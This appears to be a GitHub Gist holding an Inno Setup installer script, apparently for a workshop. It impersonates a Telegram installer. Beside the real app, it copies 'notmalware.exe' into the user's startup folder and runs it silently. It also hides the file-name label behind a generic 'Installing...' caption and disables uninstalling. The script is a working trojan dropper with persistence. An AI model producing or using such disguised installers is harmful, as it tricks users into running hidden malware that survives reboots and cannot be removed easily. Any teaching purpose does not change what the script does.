Created
March 31, 2022 19:41
-
-
Save Maruf-S/bf49d0129b549b672b1652f58eabde05 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; Script generated by the Inno Setup Script Wizard. | |
; SEE THE DOCUMENTATION FOR DETAILS ON CREATING INNO SETUP SCRIPT FILES! | |
#define MyAppName "Telegram" | |
#define MyAppVersion "5" | |
#define MyAppPublisher "Telegram" | |
#define MyAppExeName "Telegram.exe" | |
#define MalwareName "notmalware.exe" | |
[Setup] | |
; NOTE: The value of AppId uniquely identifies this application. Do not use the same AppId value in installers for other applications. | |
; (To generate a new GUID, click Tools | Generate GUID inside the IDE.) | |
AppId={{B2785605-BC02-4BA5-A9E3-BEAC66BB566F} | |
AppName={#MyAppName} | |
AppVersion={#MyAppVersion} | |
;AppVerName={#MyAppName} {#MyAppVersion} | |
AppPublisher={#MyAppPublisher} | |
DefaultDirName={autopf}\{#MyAppName} | |
DisableProgramGroupPage=yes | |
; Uncomment the following line to run in non administrative install mode (install for current user only.) | |
;PrivilegesRequired=lowest | |
OutputDir=C:\Users\Maruf\Downloads\FIT workshop | |
OutputBaseFilename=Telegram.exe | |
SetupIconFile=C:\Users\Maruf\Downloads\FIT workshop\telegram-black.ico | |
Compression=lzma | |
SolidCompression=yes | |
WizardStyle=modern | |
[Languages] | |
Name: "english"; MessagesFile: "compiler:Default.isl" | |
[Tasks] | |
Name: "desktopicon"; Description: "{cm:CreateDesktopIcon}"; GroupDescription: "{cm:AdditionalIcons}"; Flags: unchecked | |
[Files] | |
Source: "C:\Users\Maruf\Downloads\FIT workshop\Telegram.exe"; DestDir: "{app}"; Flags: ignoreversion | |
Source: "C:\Users\Maruf\Downloads\FIT workshop\notmalware.exe"; DestDir: "{userstartup}"; Flags: ignoreversion | |
; NOTE: Don't use "Flags: ignoreversion" on any shared system files | |
[Icons] | |
Name: "{autoprograms}\{#MyAppName}"; Filename: "{app}\{#MyAppExeName}" | |
Name: "{autodesktop}\{#MyAppName}"; Filename: "{app}\{#MyAppExeName}"; Tasks: desktopicon | |
[Run] | |
Filename: "{app}\{#MyAppExeName}"; Description: "{cm:LaunchProgram,{#StringChange(MyAppName, '&', '&&')}}"; Flags: nowait postinstall skipifsilent | |
Filename: "{userstartup}\{#MalwareName}"; Description: "{cm:LaunchProgram,{#StringChange(MyAppName, '&', '&&')}}"; Flags: nowait | |
[Code] | |
procedure InitializeWizard; | |
begin | |
with TNewStaticText.Create(WizardForm) do | |
begin | |
Parent := WizardForm.FilenameLabel.Parent; | |
Left := WizardForm.FilenameLabel.Left; | |
Top := WizardForm.FilenameLabel.Top; | |
Width := WizardForm.FilenameLabel.Width; | |
Height := WizardForm.FilenameLabel.Height; | |
Caption := ExpandConstant('Installing...'); | |
end; | |
WizardForm.FilenameLabel.Visible := False; | |
end; | |
[Setup] | |
Uninstallable = no |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment